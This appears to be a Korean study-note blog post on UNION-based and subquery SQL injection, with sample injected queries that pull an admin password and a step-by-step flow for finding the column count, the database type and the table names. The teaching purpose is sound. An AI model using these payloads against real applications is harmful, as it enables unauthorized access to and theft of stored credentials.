1. UNION
다수의 SELECT 구문의 결과를 결합하는 절
쿼리의 결과 값이 화면에 출력될 때 유용하게 사용할 수 있으며 실제로도 많이 발생하는 취약점이다.
SELECT title, content, user FROM board WHERE idx-1 UNION SELECT 1,2,3
SELECT title, content, user FROM board WHERE idx-1
UNION SELECT 1, password, 3 FROM users where id="admin"
1.1 주의
- SELECT 구문과 UNION을 사용한 구문의 칼럼 개수가 같아야 한다.
SELECT title, content, user FROM board WHERE idx-1 UNION SELECT 1,2,3 - 특정 DBMS에서는 SELECT 구문과 UNION을 사용한 구문의 칼럼 타입이 같아야 한다.
# MSSQL (SQL Server)
SELECT 'ABC' UNION SELECT 123; => Error
- MySQL, PostgreSQL, Oracle, MS SQL Server => 일치 해야 함
( 칼럼의 데이터 타입이 서로 호환되면 사용가능 함, ex)정수형 ↔ 실수형 ) - SQLite, MariaDB => 조금 더 유연
- MySQL, PostgreSQL, Oracle, MS SQL Server => 일치 해야 함
2. Subquery
한 쿼리 내에 또 다른 쿼리를 사용하는 것
쿼리 내에서 괄호 안에 구문을 삽입해야하며, SELECT 구문만 사용할 수 있다.
- 기존의 쿼리가 접근하는 테이블이 아닌 다른 테이블에 접근하는 경우와
- SELECT 구문을 사용하지 않는 쿼리문에서 SQL Injection 취약점이 발생 할 때 유용
SELECT title, content, user FROM board WHERE idx-1
UNION SELECT 1, (SELECT user_pw from users where id=admin) , 3
UNION을 이용한 SQL Injection FLOW
- 칼럼 개수 찾기
- SELECT title, content, user FROM board WHERE idx-1UNION SELECT 1 => Error
- SELECT title, content, user FROM board WHERE idx-1UNION SELECT 1,2 => Error
- SELECT title, content, user FROM board WHERE idx-1UNION SELECT 1,2,3 => 200
수를 늘려가며 200 status를 반환하는 값을 찾는다 (여기선 칼럼의 개수가 3개)
- SQL 종류 확인
- SELECT * FROM board WHERE idx-1UNION SELECT 1, (SELECT 1 FROM information_schema), 3
칼럼 수에 맞게 UNION SELECT문을 작성하는데 information_schema와 같이 특정 DBMS에 존재하는 메타 DB를 차례대로 대입하며 어떤 SQL을 사용하고 있는지 파악한다.
- sys -> MSSQL
- information_schema -> MySQL, MariaDB, Oracle
- sqlite_master -> SQLite
- SELECT * FROM board WHERE idx-1UNION SELECT 1, (SELECT 1 FROM information_schema), 3
- 원하는 데이터의 테이블명이나 칼럼 이름 등 찾기
- ex) information_schema DB에는 TABLES, COLUMNS, SCHEMATA, ENGINES.. 등의 메타 테이블 존재
information_schema.schemata 처럼 접근하여 사용하고 있는 DB명, 테이블명, 칼럼명... 등을 추출하여 Exploit
- ex) information_schema DB에는 TABLES, COLUMNS, SCHEMATA, ENGINES.. 등의 메타 테이블 존재
이미지 출처: knockOn 부트캠프
'Web > SQL Injection' 카테고리의 다른 글
DB 종류, 버전 알아내기 (0) | 2024.08.15 |
---|---|
System table (0) | 2024.08.15 |
Error & Time based SQL Injection (0) | 2024.08.07 |
Blind SQL Injection (0) | 2024.08.06 |
DML (0) | 2024.08.06 |